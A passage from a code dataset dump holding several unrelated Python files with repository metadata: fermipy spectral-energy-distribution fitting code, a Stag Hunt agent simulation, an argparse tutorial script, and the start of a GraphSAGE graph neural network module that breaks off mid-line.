Column(name='norm_errn', dtype='f8', data=sed['norm_err_lo']),\n Column(name='norm_ul', dtype='f8', data=sed['norm_ul95']),\n Column(name='ts', dtype='f8', data=sed['ts']),\n Column(name='loglike', dtype='f8', data=sed['loglike']),\n Column(name='norm_scan', dtype='f8', data=sed['norm_scan']),\n Column(name='dloglike_scan', dtype='f8',\n data=sed['dloglike_scan']),\n\n ]\n\n tab = Table(cols)\n tab.meta['UL_CONF'] = 0.95\n hdu_sed = fits.table_to_hdu(tab)\n hdu_sed.name = 'SED'\n\n columns = fits.ColDefs([])\n\n columns.add_col(fits.Column(name=str('energy'), format='E',\n array=sed['model_flux']['energies'],\n unit='MeV'))\n columns.add_col(fits.Column(name=str('dnde'), format='E',\n array=sed['model_flux']['dnde'],\n unit='ph / (MeV cm2 s)'))\n columns.add_col(fits.Column(name=str('dnde_lo'), format='E',\n array=sed['model_flux']['dnde_lo'],\n unit='ph / (MeV cm2 s)'))\n columns.add_col(fits.Column(name=str('dnde_hi'), format='E',\n array=sed['model_flux']['dnde_hi'],\n unit='ph / (MeV cm2 s)'))\n columns.add_col(fits.Column(name=str('dnde_err'), format='E',\n array=sed['model_flux']['dnde_err'],\n unit='ph / (MeV cm2 s)'))\n columns.add_col(fits.Column(name=str('dnde_ferr'), format='E',\n array=sed['model_flux']['dnde_ferr']))\n\n hdu_f = fits.BinTableHDU.from_columns(columns, name='MODEL_FLUX')\n\n columns = fits.ColDefs([])\n\n npar = len(sed['param_covariance'])\n \n columns.add_col(fits.Column(name=str('name'),\n format='A32',\n array=sed['param_names']))\n columns.add_col(fits.Column(name=str('value'), format='E',\n array=sed['param_values']))\n columns.add_col(fits.Column(name=str('error'), format='E',\n array=sed['param_errors']))\n columns.add_col(fits.Column(name=str('covariance'),\n format='%iE' % npar,\n dim=str('(%i)' % npar),\n array=sed['param_covariance']))\n columns.add_col(fits.Column(name=str('correlation'),\n format='%iE' % npar,\n dim=str('(%i)' % npar),\n array=sed['param_correlation']))\n\n hdu_p = fits.BinTableHDU.from_columns(columns, name='PARAMS')\n\n hdus = [fits.PrimaryHDU(), hdu_sed, hdu_f, hdu_p]\n hdus[0].header['CONFIG'] = json.dumps(sed['config'])\n hdus[1].header['CONFIG'] = json.dumps(sed['config'])\n\n fits_utils.write_hdus(hdus, filename,\n keywords={'SRCNAME': sed['name']})\n\n def _make_sed(self, name, **config):\n\n bin_index = config['bin_index']\n use_local_index = config['use_local_index']\n free_background = config['free_background']\n free_radius = config['free_radius']\n ul_confidence = config['ul_confidence']\n cov_scale = config['cov_scale']\n loge_bins = config['loge_bins']\n\n if not loge_bins or loge_bins is None:\n loge_bins = self.log_energies\n else:\n loge_bins = np.array(loge_bins)\n\n nbins = len(loge_bins) - 1\n max_index = 5.0\n min_flux = 1E-30\n npts = self.config['gtlike']['llscan_npts']\n loge_bounds = self.loge_bounds\n\n # Output Dictionary\n o = {'name': name,\n 'loge_min': loge_bins[:-1],\n 'loge_max': loge_bins[1:],\n 'loge_ctr': 0.5 * (loge_bins[:-1] + loge_bins[1:]),\n 'loge_ref': 0.5 * (loge_bins[:-1] + loge_bins[1:]),\n 'e_min': 10 ** loge_bins[:-1],\n 'e_max': 10 ** loge_bins[1:],\n 'e_ctr': 10 ** (0.5 * (loge_bins[:-1] + loge_bins[1:])),\n 'e_ref': 10 ** (0.5 * (loge_bins[:-1] + loge_bins[1:])),\n 'ref_flux': np.zeros(nbins),\n 'ref_eflux': np.zeros(nbins),\n 'ref_dnde': np.zeros(nbins),\n 'ref_dnde_e_min': np.zeros(nbins),\n 'ref_dnde_e_max': np.zeros(nbins),\n 'ref_e2dnde': np.zeros(nbins),\n 'ref_npred': np.zeros(nbins),\n 'norm': np.zeros(nbins),\n 'flux': np.zeros(nbins),\n 'eflux': np.zeros(nbins),\n 'dnde': np.zeros(nbins),\n 'e2dnde': np.zeros(nbins),\n 'index': np.zeros(nbins),\n 'npred': np.zeros(nbins),\n 'ts': np.zeros(nbins),\n 'loglike': np.zeros(nbins),\n 'norm_scan': np.zeros((nbins, npts)),\n 'dloglike_scan': np.zeros((nbins, npts)),\n 'loglike_scan': np.zeros((nbins, npts)),\n 'fit_quality': np.zeros(nbins),\n 'fit_status': np.zeros(nbins),\n 'correlation': {},\n 'model_flux': {},\n 'config': config\n }\n\n for t in ['norm', 'flux', 'eflux', 'dnde', 'e2dnde']:\n o['%s_err' % t] = np.zeros(nbins) * np.nan\n o['%s_err_hi' % t] = np.zeros(nbins) * np.nan\n o['%s_err_lo' % t] = np.zeros(nbins) * np.nan\n o['%s_ul95' % t] = np.zeros(nbins) * np.nan\n o['%s_ul' % t] = np.zeros(nbins) * np.nan\n\n saved_state = LikelihoodState(self.like)\n source = self.components[0].like.logLike.getSource(str(name))\n\n # Perform global spectral fit\n self._latch_free_params()\n self.free_sources(False, pars='shape', loglevel=logging.DEBUG)\n self.free_source(name, pars=config.get('free_pars', None),\n loglevel=logging.DEBUG)\n fit_output = self.fit(loglevel=logging.DEBUG, update=False,\n min_fit_quality=2)\n o['model_flux'] = self.bowtie(name)\n spectral_pars = gtutils.get_function_pars_dict(source.spectrum())\n o['SpectrumType'] = self.roi[name]['SpectrumType']\n o.update(model_utils.pars_dict_to_vectors(o['SpectrumType'],\n spectral_pars))\n\n param_names = gtutils.get_function_par_names(o['SpectrumType'])\n npar = len(param_names)\n o['param_covariance'] = np.empty((npar, npar), dtype=float) * np.nan\n\n pmask0 = np.empty(len(fit_output['par_names']), dtype=bool)\n pmask0.fill(False)\n pmask1 = np.empty(npar, dtype=bool)\n pmask1.fill(False)\n for i, pname in enumerate(param_names):\n\n for j, pname2 in enumerate(fit_output['par_names']):\n if name != fit_output['src_names'][j]:\n continue\n if pname != pname2:\n continue\n pmask0[j] = True\n pmask1[i] = True\n\n src_cov = fit_output['covariance'][pmask0, :][:, pmask0]\n o['param_covariance'][np.ix_(pmask1, pmask1)] = src_cov\n o['param_correlation'] = utils.cov_to_correlation(\n o['param_covariance'])\n\n for i, pname in enumerate(param_names):\n o['param_covariance'][i, :] *= spectral_pars[pname]['scale']\n o['param_covariance'][:, i] *= spectral_pars[pname]['scale']\n\n self._restore_free_params()\n\n self.logger.info('Fitting SED')\n\n # Setup background parameters for SED\n self.free_sources(False, pars='shape')\n self.free_norm(name)\n\n if not free_background:\n self.free_sources(free=False, loglevel=logging.DEBUG)\n\n if free_radius is not None:\n diff_sources = [s.name for s in self.roi.sources if s.diffuse]\n skydir = self.roi[name].skydir\n free_srcs = [s.name for s in\n self.roi.get_sources(skydir=skydir,\n distance=free_radius,\n exclude=diff_sources)]\n self.free_sources_by_name(free_srcs, pars='norm',\n loglevel=logging.DEBUG)\n\n if cov_scale is not None:\n self._latch_free_params()\n self.zero_source(name)\n self.fit(loglevel=logging.DEBUG, update=False)\n srcNames = list(self.like.sourceNames())\n srcNames.remove(name)\n self.constrain_norms(srcNames, cov_scale)\n self.unzero_source(name)\n self._restore_free_params()\n\n # Precompute fluxes in each bin from global fit\n gf_bin_flux = []\n gf_bin_index = []\n for i, (logemin, logemax) in enumerate(zip(loge_bins[:-1],\n loge_bins[1:])):\n\n emin = 10 ** logemin\n emax = 10 ** logemax\n delta = 1E-5\n f = self.like[name].flux(emin, emax)\n f0 = self.like[name].flux(emin * (1 - delta), emin * (1 + delta))\n f1 = self.like[name].flux(emax * (1 - delta), emax * (1 + delta))\n\n if f0 > min_flux and f1 > min_flux:\n g = 1 - np.log10(f0 / f1) / np.log10(emin / emax)\n gf_bin_index += [g]\n gf_bin_flux += [f]\n else:\n gf_bin_index += [max_index]\n gf_bin_flux += [min_flux]\n\n old_spectrum = source.spectrum()\n old_pars = copy.deepcopy(self.roi[name].spectral_pars)\n old_type = self.roi[name]['SpectrumType']\n\n spectrum_pars = {\n 'Prefactor':\n {'value': 1.0, 'scale': 1E-13, 'min': 1E-10,\n 'max': 1E10, 'free': True},\n 'Index':\n {'value': 2.0, 'scale': -1.0, 'min': 0.0, 'max': 5.0, 'free': False},\n 'Scale':\n {'value': 1E3, 'scale': 1.0, 'min': 1., 'max': 1E6, 'free': False},\n }\n\n self.set_source_spectrum(str(name), 'PowerLaw',\n spectrum_pars=spectrum_pars,\n update_source=False)\n\n src_norm_idx = -1\n free_params = self.get_params(True)\n for j, p in enumerate(free_params):\n if not p['is_norm']:\n continue\n if p['is_norm'] and p['src_name'] == name:\n src_norm_idx = j\n\n o['correlation'][p['src_name']] = np.zeros(nbins) * np.nan\n\n self._fitcache = None\n\n for i, (logemin, logemax) in enumerate(zip(loge_bins[:-1],\n loge_bins[1:])):\n\n logectr = 0.5 * (logemin + logemax)\n emin = 10 ** logemin\n emax = 10 ** logemax\n ectr = 10 ** logectr\n ectr2 = ectr**2\n\n saved_state_bin = LikelihoodState(self.like)\n if use_local_index:\n o['index'][i] = -min(gf_bin_index[i], max_index)\n else:\n o['index'][i] = -bin_index\n\n self.set_norm(name, 1.0, update_source=False)\n self.set_parameter(name, 'Index', o['index'][i], scale=1.0,\n update_source=False)\n self.like.syncSrcParams(str(name))\n\n ref_flux = self.like[name].flux(emin, emax)\n\n o['ref_flux'][i] = self.like[name].flux(emin, emax)\n o['ref_eflux'][i] = self.like[name].energyFlux(emin, emax)\n o['ref_dnde'][i] = self.like[name].spectrum()(pyLike.dArg(ectr))\n o['ref_dnde_e_min'][i] = self.like[\n name].spectrum()(pyLike.dArg(emin))\n o['ref_dnde_e_max'][i] = self.like[\n name].spectrum()(pyLike.dArg(emax))\n o['ref_e2dnde'][i] = o['ref_dnde'][i] * ectr2\n cs = self.model_counts_spectrum(\n name, logemin, logemax, summed=True)\n o['ref_npred'][i] = np.sum(cs)\n\n normVal = self.like.normPar(name).getValue()\n flux_ratio = gf_bin_flux[i] / ref_flux\n newVal = max(normVal * flux_ratio, 1E-10)\n self.set_norm(name, newVal, update_source=False)\n self.set_norm_bounds(name, [newVal * 1E-6, newVal * 1E4])\n\n self.like.syncSrcParams(str(name))\n self.free_norm(name)\n self.logger.debug('Fitting %s SED from %.0f MeV to %.0f MeV' %\n (name, emin, emax))\n self.set_energy_range(logemin, logemax)\n\n fit_output = self._fit(**config['optimizer'])\n free_params = self.get_params(True)\n for j, p in enumerate(free_params):\n\n if not p['is_norm']:\n continue\n\n o['correlation'][p['src_name']][i] = \\\n fit_output['correlation'][src_norm_idx, j]\n\n o['fit_quality'][i] = fit_output['fit_quality']\n o['fit_status'][i] = fit_output['fit_status']\n\n flux = self.like[name].flux(emin, emax)\n eflux = self.like[name].energyFlux(emin, emax)\n dnde = self.like[name].spectrum()(pyLike.dArg(ectr))\n\n o['norm'][i] = flux / o['ref_flux'][i]\n o['flux'][i] = flux\n o['eflux'][i] = eflux\n o['dnde'][i] = dnde\n o['e2dnde'][i] = dnde * ectr2\n\n cs = self.model_counts_spectrum(name, logemin,\n logemax, summed=True)\n o['npred'][i] = np.sum(cs)\n o['loglike'][i] = fit_output['loglike']\n\n lnlp = self.profile_norm(name, logemin=logemin, logemax=logemax,\n savestate=True, reoptimize=True,\n npts=npts, optimizer=config['optimizer'])\n\n o['ts'][i] = max(\n 2.0 * (fit_output['loglike'] - lnlp['loglike'][0]), 0.0)\n o['loglike_scan'][i] = lnlp['loglike']\n o['dloglike_scan'][i] = lnlp['dloglike']\n o['norm_scan'][i] = lnlp['flux'] / ref_flux\n\n ul_data = utils.get_parameter_limits(\n lnlp['flux'], lnlp['dloglike'])\n\n o['norm_err_hi'][i] = ul_data['err_hi'] / ref_flux\n o['norm_err_lo'][i] = ul_data['err_lo'] / ref_flux\n\n if np.isfinite(ul_data['err_lo']):\n o['norm_err'][i] = 0.5 * (ul_data['err_lo'] +\n ul_data['err_hi']) / ref_flux\n else:\n o['norm_err'][i] = ul_data['err_hi'] / ref_flux\n\n o['norm_ul95'][i] = ul_data['ul'] / ref_flux\n\n ul_data = utils.get_parameter_limits(lnlp['flux'],\n lnlp['dloglike'],\n cl_limit=ul_confidence)\n o['norm_ul'][i] = ul_data['ul'] / ref_flux\n\n saved_state_bin.restore()\n\n for t in ['flux', 'eflux', 'dnde', 'e2dnde']:\n\n o['%s_err' % t] = o['norm_err'] * o['ref_%s' % t]\n o['%s_err_hi' % t] = o['norm_err_hi'] * o['ref_%s' % t]\n o['%s_err_lo' % t] = o['norm_err_lo'] * o['ref_%s' % t]\n o['%s_ul95' % t] = o['norm_ul95'] * o['ref_%s' % t]\n o['%s_ul' % t] = o['norm_ul'] * o['ref_%s' % t]\n\n self.set_energy_range(loge_bounds[0], loge_bounds[1])\n self.set_source_spectrum(str(name), old_type,\n spectrum_pars=old_pars,\n update_source=False)\n\n saved_state.restore()\n self._sync_params(name)\n\n if cov_scale is not None:\n self.remove_priors()\n\n return o\n\n\nif __name__ == \"__main__\":\n\n pass\n","repo_name":"fermiPy/fermipy","sub_path":"fermipy/sed.py","file_name":"sed.py","file_ext":"py","file_size_in_byte":22152,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"71"} +{"seq_id":"70539666791","text":"\"\"\"\nThis program simulates a game of Stag Hunt with multiple hunters, rabbits, and stags in a one-dimensional environment. \nEach hunter, rabbit, and stag are initialized at a random location sampled from a Gaussian distribution.\n\nThe game consists of several rounds, and in each round, the following steps occur:\n\n1. Each hunter decides what to hunt (either stags or rabbits) based on the proximity of the nearest rabbit or stag. \n If the payoff from the last round was 0 or negative, the hunter will choose to hunt the nearest prey.\n\n2. Each hunter attempts to hunt according to their chosen strategy. \n If a hunter chose to hunt a rabbit and the nearest rabbit is within a unit distance, the hunt is successful and the rabbit is \"removed\" by moving it to a distant location.\n If a hunter chose to hunt a stag and all hunters chose to hunt stags, and the nearest stag is within a unit distance, the hunt has a 10% chance of being successful. \n If successful, the stag is \"removed\" by moving it to a distant location. \n The payoff for hunting a rabbit is 0.5 and for hunting a stag is 1.\n\n3. After the hunting phase, each entity updates its location. \n The location of rabbits is updated by adding a Gaussian random value multiplied by 0.1. \n The location of stags is updated by adding a Gaussian random value. \n The location of hunters who chose to hunt rabbits is updated by moving 0.5 units towards the location of the nearest rabbit. \n The location of hunters who chose to hunt stags is updated by moving 0.25 units towards the location of the nearest stag. \n\n4. Finally, the program prints the status of each hunter, including their current strategy, location, and last payoff.\n\nThis process repeats for a defined number of rounds. \nOver time, the hunters learn the optimal strategy based on the received payoffs, and adapt their hunting strategy accordingly.\n\"\"\"\n\nimport random\nimport math\n\nclass Hunter:\n def __init__(self, name):\n self.name = name\n self.strategy = random.choice(['Stag', 'Rabbit'])\n self.payoff = 0\n self.last_payoff = 0\n self.location = random.gauss(0, 1)\n self.target_location = None\n\n def decide(self, stags, rabbits):\n if self.last_payoff <= 0:\n nearest_stag = min(stags, key=lambda s: math.fabs(self.location - s.location))\n nearest_rabbit = min(rabbits, key=lambda r: math.fabs(self.location - r.location))\n\n if math.fabs(self.location - nearest_stag.location) < math.fabs(self.location - nearest_rabbit.location):\n self.strategy = 'Stag'\n else:\n self.strategy = 'Rabbit'\n\n return self.strategy\n\n def hunt(self, hunters, stags, rabbits):\n if self.strategy == 'Rabbit':\n nearest_rabbit = min(rabbits, key=lambda r: math.fabs(self.location - r.location))\n self.target_location = nearest_rabbit.location\n if math.fabs(self.location - nearest_rabbit.location) < 1:\n self.payoff = 0.5\n else:\n self.payoff = 0\n elif self.strategy == 'Stag':\n nearest_stag = min(stags, key=lambda s: math.fabs(self.location - s.location))\n self.target_location = nearest_stag.location\n if all(h.strategy == 'Stag' for h in hunters) and math.fabs(self.location - nearest_stag.location) < 1:\n self.payoff = 1 if random.random() < 0.1 else 0\n else:\n self.payoff = 0\n\n def update_location(self):\n if self.target_location is not None:\n # Update location by moving towards the target\n self.location += (self.target_location - self.location) * (0.5 if self.strategy == 'Rabbit' else 0.25)\n\n def update(self):\n self.last_payoff = self.payoff\n self.payoff = 0\n\n def __str__(self):\n return f'{self.name}, located at {self.location:0.1f} hunted a {self.strategy} located at {self.target_location}, and received a payoff of {self.payoff}'\n\nclass Rabbit:\n def __init__(self):\n self.location = random.gauss(0, 1)\n\n def update_location(self):\n self.location += random.gauss(0, 1) * 0.1\n\n\nclass Stag:\n def __init__(self):\n self.location = random.gauss(0, 1)\n\n def update_location(self):\n self.location += random.gauss(0, 1) * 1\n\n\nhunters = [Hunter('Hunter1'), Hunter('Hunter2'), Hunter('Hunter3')]\nrabbits = [Rabbit() for _ in range(3)]\nstags = [Stag() for _ in range(1)]\n\nnum_rounds = 5\nfor round in range(num_rounds):\n for hunter in hunters:\n hunter.decide(stags, rabbits)\n\n for hunter in hunters:\n hunter.hunt(hunters, stags, rabbits)\n\n print(f'Round {round + 1}')\n for hunter in hunters:\n print(hunter)\n\n for hunter in hunters:\n hunter.update()\n for rabbit in rabbits:\n rabbit.update_location()\n for stag in stags:\n stag.update_location()\n for hunter in hunters:\n hunter.update_location()\n print('\\n')\n","repo_name":"metonymize-kripa/imagined-we-kld","sub_path":"simple_stag_hunt.py","file_name":"simple_stag_hunt.py","file_ext":"py","file_size_in_byte":4992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73252470631","text":"#!/usr/bin/python3.8\n# https://www.golinuxcloud.com/python-argparse/\n# differnt types of dest = store, store_const, store_true, store_false, append\n# append_const, version\n\nimport argparse\n\n## create the parser object\nparser = argparse.ArgumentParser()\n# Use different prefix - and then change all the prefixes eslewhere\n# parser = argparse.ArgumentParser(prefix_chars='/')\n\n## add arguments\n# parse arguments without value\nparser.add_argument('-q', '--quiet',\n action='store_true',\n dest='quiet',\n help='Suppress Output'\n )\nparser.add_argument('-v', '--verbose',\n action='store_true',\n dest='verbose',\n help='Verbose Output'\n )\n\n# use different prefix\n# parser.add_argument('/q', '//quiet', - incase of a different prefix\n\n\n# pass single value to argument\nparser.add_argument('-H', '--host',\n default='localhost',\n dest='host',\n help='Provide destination host. Defaults to localhost',\n type=str\n )\n\n# pass multiple values to argumentt\nparser.add_argument('--range',\n default=[1-100],\n dest='range',\n help='Define the range. Default is 1-100',\n type=int,\n nargs=2 # exactly two arguments\n #nargs='+' # multiple arguments\n #nargs='*' # zero or more values\n )\n\n\n# mandatory arguments\nparser.add_argument('-l', '--sleep',\n required=True,\n default=20,\n dest='sleep',\n help='Provide sleep timer',\n type=int\n )\n\n# multiple choices - choose one\nparser.add_argument('--color',\n choices=('blue', 'black', 'brown'),\n dest='color',\n default='blue',\n help='Guess my lucky color'\n )\n\n# read a file as an input for getting configs through argument\nparser.add_argument('--file',\n type=argparse.FileType('r'),\n dest='myfile',\n default='/home/linpaws/python_practice/config_file',\n help='The config file to use'\n )\n\n# actions\nparser.add_argument('-s', action='store', dest='simple_value', help='Store a simple value')\nparser.add_argument('-c', action='store_const', dest='constant_value', const='value-to-store', help='Store a constant value')\nparser.add_argument('-t', action='store_true', default=False, dest='boolean_t', help='Set a switch to true')\nparser.add_argument('-f', action='store_false', default=True, dest='boolean_f', help='Set a switch to false')\nparser.add_argument('-a', action='append', dest='collection', default=[], help='Add repeated values to a list')\nparser.add_argument('-A', action='append_const', dest='const_collection', const='value-1-to-append', default=[], help='Added different values to list')\nparser.add_argument('-B', action='append_const', dest='const_collection', const='value-2-to-append', help='Add different values to list')\nparser.add_argument('--version', action='version', version='%(prog)s 1.0')\n\n\n\n## parse and print results\nargs = parser.parse_args()\nprint(\"quiet: \", args.quiet)\nprint(\"verbose: \", args.verbose)\nprint(\"host: \", args.host)\nprint(\"range: \", args.range)\nprint(\"sleep: \", args.sleep)\nprint(\"color: \", args.color)\nprint(\"file: \", args.myfile.read())\n\nprint('simple_value = {!r}'.format(args.simple_value))\nprint('constant_value = {!r}'.format(args.constant_value))\nprint('boolean_t = {!r}'.format(args.boolean_t))\nprint('boolean_f = {!r}'.format(args.boolean_f))\nprint('collection = {!r}'.format(args.collection))\nprint('const_collection = {!r}'.format(args.const_collection))\n","repo_name":"linpawsz/scratch","sub_path":"000_05_argparse.py","file_name":"000_05_argparse.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24032628766","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Function\nimport argparse\nimport numpy as np\nfrom scipy.linalg import block_diag\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom torchmeta.modules import MetaModule, MetaSequential, MetaLinear, MetaBatchNorm1d\nfrom torch.utils.data import DataLoader\nfrom dgl_format import *\n\nfrom collections import OrderedDict\n\n\ndef update_parameters_gd(model, loss, step_size=0.5, first_order=False, log_var=None):\n \"\"\"Update the parameters of the model, with one step of gradient descent.\"\"\"\n # print(loss)\n grads = torch.autograd.grad(loss, model.meta_parameters(),\n create_graph=not first_order, allow_unused=True) # allow_unused is necessary for when not all the output heads are used\n\n params = OrderedDict()\n for (name, param), grad in zip(model.meta_named_parameters(), grads):\n if grad is None: # the gradients of the output heads that are not used will be None\n continue\n params[name] = param - step_size * grad\n return params\n\ndef batch2tensor(batch_adj, batch_feat, node_per_pool_graph):\n\t\"\"\"\n\ttransform a batched graph to batched adjacency tensor and node feature tensor\n\t\"\"\"\n\tbatch_size = int(batch_adj.size()[0] / node_per_pool_graph)\n\tadj_list = []\n\tfeat_list = []\n\tfor i in range(batch_size):\n\t\tstart = i * node_per_pool_graph\n\t\tend = (i + 1) * node_per_pool_graph\n\t\tadj_list.append(batch_adj[start:end, start:end])\n\t\tfeat_list.append(batch_feat[start:end, :])\n\tadj_list = list(map(lambda x: torch.unsqueeze(x, 0), adj_list))\n\tfeat_list = list(map(lambda x: torch.unsqueeze(x, 0), feat_list))\n\tadj = torch.cat(adj_list, dim=0)\n\tfeat = torch.cat(feat_list, dim=0)\n\n\treturn feat, adj\ndef masked_softmax(matrix, mask, dim=-1, memory_efficient=True,\n\t\t\t\t mask_fill_value=-1e32):\n\t'''\n\tmasked_softmax for dgl batch graph\n\tcode snippet contributed by AllenNLP (https://github.com/allenai/allennlp)\n\t'''\n\tif mask is None:\n\t\tresult = torch.nn.functional.softmax(matrix, dim=dim)\n\telse:\n\t\tmask = mask.float()\n\t\twhile mask.dim() < matrix.dim():\n\t\t\tmask = mask.unsqueeze(1)\n\t\tif not memory_efficient:\n\t\t\tresult = torch.nn.functional.softmax(matrix * mask, dim=dim)\n\t\t\tresult = result * mask\n\t\t\tresult = result / (result.sum(dim=dim, keepdim=True) + 1e-13)\n\t\telse:\n\t\t\tmasked_matrix = matrix.masked_fill((1 - mask).byte(),\n\t\t\t\t\t\t\t\t\t\t\t mask_fill_value)\n\t\t\tresult = torch.nn.functional.softmax(masked_matrix, dim=dim)\n\treturn result\n\nclass BatchedGraphSAGE(nn.Module):\n\tdef __init__(self, infeat, outfeat, use_bn=True,\n\t\t\t\t mean=False, add_self=False):\n\t\tsuper().__init__()\n\t\tself.add_self = add_self\n\t\tself.use_bn = use_bn\n\t\tself.mean = mean\n\t\tself.W = nn.Linear(infeat, outfeat, bias=True)\n\n\t\tnn.init.xavier_uniform_(\n\t\t\tself.W.weight,\n\t\t\tgain=nn.init.calculate_gain('relu'))\n\n\tdef forward(self, x, adj):\n\t\tnum_node_per_graph = adj.size(1)\n\t\tif self.use_bn and not hasattr(self, 'bn'):\n\t\t\tself.bn = nn.BatchNorm1d(num_node_per_graph).to(adj.device)\n\n\t\tif self.add_self:\n\t\t\tadj = adj + torch.eye(num_node_per_graph).to(adj.device)\n\n\t\tif self.mean:\n\t\t\tadj = adj / adj.sum(-1, keepdim=True)\n\n\t\th_k_N = torch.matmul(adj, x)\n\t\th_k = self.W(h_k_N)\n\t\th_k = F.normalize(h_k, dim=2, p=2)\n\t\th_k = F.relu(h_k)\n\t\tif self.use_bn:\n\t\t\th_k = self.bn(h_k)\n\t\treturn h_k\n\n\tdef __repr__(self):\n\t\tif self.use_bn:\n\t\t\treturn 'BN' + super(BatchedGraphSAGE, self).__repr__()\n\t\telse:\n\t\t\treturn super(BatchedGraphSAGE, self).__repr__()\nclass Bundler(nn.Module):\n\t\"\"\"\n\tBundler, which will be the node_apply function in DGL paradigm\n\t\"\"\"\n\n\tdef __init__(self, in_feats, out_feats, activation, dropout, bias=True):\n\t\tsuper(Bundler, self).__init__()\n\t\tself.dropout = nn.Dropout(p=dropout)\n\t\tself.linear = nn.Linear(in_feats * 2, out_feats,bias)\n\t\tself.activation = activation\n\n\t\tnn.init.xavier_uniform_(self.linear.weight,\n\t\t\t\t\t\t\t\tgain=nn.init.calculate_gain('relu'))\n\n\tdef concat(self, h, aggre_result):\n\t\tbundle = torch.cat((h, aggre_result), 1)\n\t\tbundle = self.linear(bundle)\n\t\t\n\t\t# bundle = self.linear(bundle)\n\t\treturn bundle\n\n\tdef forward(self, node):\n\t\th = node.data['h']\n\t\tc = node.data['c']\n\t\tbundle = self.concat(h, c)\n\t\tbundle = F.normalize(bundle, p=2, dim=1)\n\t\tif self.activation:\n\t\t\tbundle = self.activation(bundle)\n\t\treturn {\"h\": bundle}\nclass Aggregator(nn.Module):\n\t\"\"\"\n\tBase Aggregator class. Adapting\n\tfrom PR# 403\n\tThis class is not supposed to be called\n\t\"\"\"\n\n\tdef __init__(self):\n\t\tsuper(Aggregator, self).__init__()\n\n\tdef forward(self, node):\n\t\tneighbour = node.mailbox['m']\n\t\tc = self.aggre(neighbour)\n\t\treturn {\"c\": c}\n\n\tdef aggre(self, neighbour):\n\t\t# N x F\n\t\traise NotImplementedError\nclass MeanAggregator(Aggregator):\n\t'''\n\tMean Aggregator for graphsage\n\t'''\n\n\tdef __init__(self):\n\t\tsuper(MeanAggregator, self).__init__()\n\n\tdef aggre(self, neighbour):\n\t\tmean_neighbour = torch.mean(neighbour, dim=1)\n\t\treturn mean_neighbour\nclass MaxPoolAggregator(Aggregator):\n\t'''\n\tMaxpooling aggregator for graphsage\n\t'''\n\n\tdef __init__(self, in_feats, out_feats, activation, bias):\n\t\tsuper(MaxPoolAggregator, self).__init__()\n\t\tself.linear = nn.Linear(in_feats, out_feats, bias=bias)\n\t\tself.activation = activation\n\t\t# Xavier initialization of weight\n\t\tnn.init.xavier_uniform_(self.linear.weight,\n\t\t\t\t\t\t\t\tgain=nn.init.calculate_gain('relu'))\n\n\tdef aggre(self, neighbour):\n\t\tneighbour = self.linear(neighbour)\n\t\tif self.activation:\n\t\t\tneighbour = self.activation(neighbour)\n\t\tmaxpool_neighbour = torch.max(neighbour, dim=1)[0]\n\t\treturn maxpool_neighbour\nclass LSTMAggregator(Aggregator):\n\t'''\n\tLSTM aggregator for graphsage\n\t'''\n\n\tdef __init__(self, in_feats, hidden_feats):\n\t\tsuper(LSTMAggregator, self).__init__()\n\t\tself.lstm = nn.LSTM(in_feats, hidden_feats, batch_first=True)\n\t\tself.hidden_dim = hidden_feats\n\t\tself.hidden = self.init_hidden()\n\n\t\tnn.init.xavier_uniform_(self.lstm.weight,\n\t\t\t\t\t\t\t\tgain=nn.init.calculate_gain('relu'))\n\n\tdef init_hidden(self):\n\t\t\"\"\"\n\t\tDefaulted to initialite all zero\n\t\t\"\"\"\n\t\treturn (torch.zeros(1, 1, self.hidden_dim),\n\t\t\t\ttorch.zeros(1, 1, self.hidden_dim))\n\n\tdef aggre(self, neighbours):\n\t\t'''\n\t\taggregation function\n\t\t'''\n\t\t# N X F\n\t\trand_order = torch.randperm(neighbours.size()[1])\n\t\tneighbours = neighbours[:, rand_order, :]\n\n\t\t(lstm_out, self.hidden) = self.lstm(neighbours.view(neighbours.size()[0],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tneighbours.size()[\n\t\t\t1],\n\t\t\t-1))\n\t\treturn lstm_out[:, -1, :]\n\n\tdef forward(self, node):\n\t\tneighbour = node.mailbox['m']\n\t\tc = self.aggre(neighbour)\n\t\treturn {\"c\": c}\nclass GraphSageLayer(nn.Module):\n\t\"\"\"\n\tGraphSage layer in Inductive learning paper by hamilton\n\tHere, graphsage layer is a reduced function in DGL framework\n\t\"\"\"\n\n\tdef __init__(self, in_feats, out_feats, activation, dropout,\n\t\t\t\t aggregator_type, bn=False, bias=True):\n\t\tsuper(GraphSageLayer, self).__init__()\n\t\tself.use_bn = bn\n\t\tself.bundler = Bundler(in_feats, out_feats, activation, dropout,\n\t\t\t\t\t\t\t bias=bias)\n\t\tself.dropout = nn.Dropout(p=dropout)\n\n\t\tif aggregator_type == \"maxpool\":\n\t\t\tself.aggregator = MaxPoolAggregator(in_feats, in_feats,\n\t\t\t\t\t\t\t\t\t\t\t\tactivation, bias)\n\t\telif aggregator_type == \"lstm\":\n\t\t\tself.aggregator = LSTMAggregator(in_feats, in_feats)\n\t\telse:\n\t\t\tself.aggregator = MeanAggregator()\n\n\tdef forward(self, g, h):\n\t\th = self.dropout(h)\n\t\tg.ndata['h'] = h\n\t\tif self.use_bn and not hasattr(self, 'bn'):\n\t\t\tdevice = h.device\n\t\t\tself.bn = nn.BatchNorm1d(h.size()[1]).to(device)\n\t\tg.update_all(fn.copy_src(src='h', out='m'), self.aggregator,\n\t\t\t\t\t self.bundler)\n\t\tif self.use_bn:\n\t\t\th = self.bn(h)\n\t\th = g.ndata.pop('h')\n\t\treturn h\nclass GraphSage(nn.Module):\n\t\"\"\"\n\tGrahpsage network that concatenate several graphsage layer\n\t\"\"\"\n\n\tdef __init__(self, in_feats, n_hidden, n_classes, n_layers, activation,\n\t\t\t\t dropout, aggregator_type):\n\t\tsuper(GraphSage, self).__init__()\n\t\tself.layers = nn.ModuleList()\n\n\t\t# input layer\n\t\tself.layers.append(GraphSageLayer(in_feats, n_hidden, activation, dropout,\n\t\t\t\t\t\t\t\t\t\t aggregator_type))\n\t\t# hidden layers\n\t\tfor _ in range(n_layers - 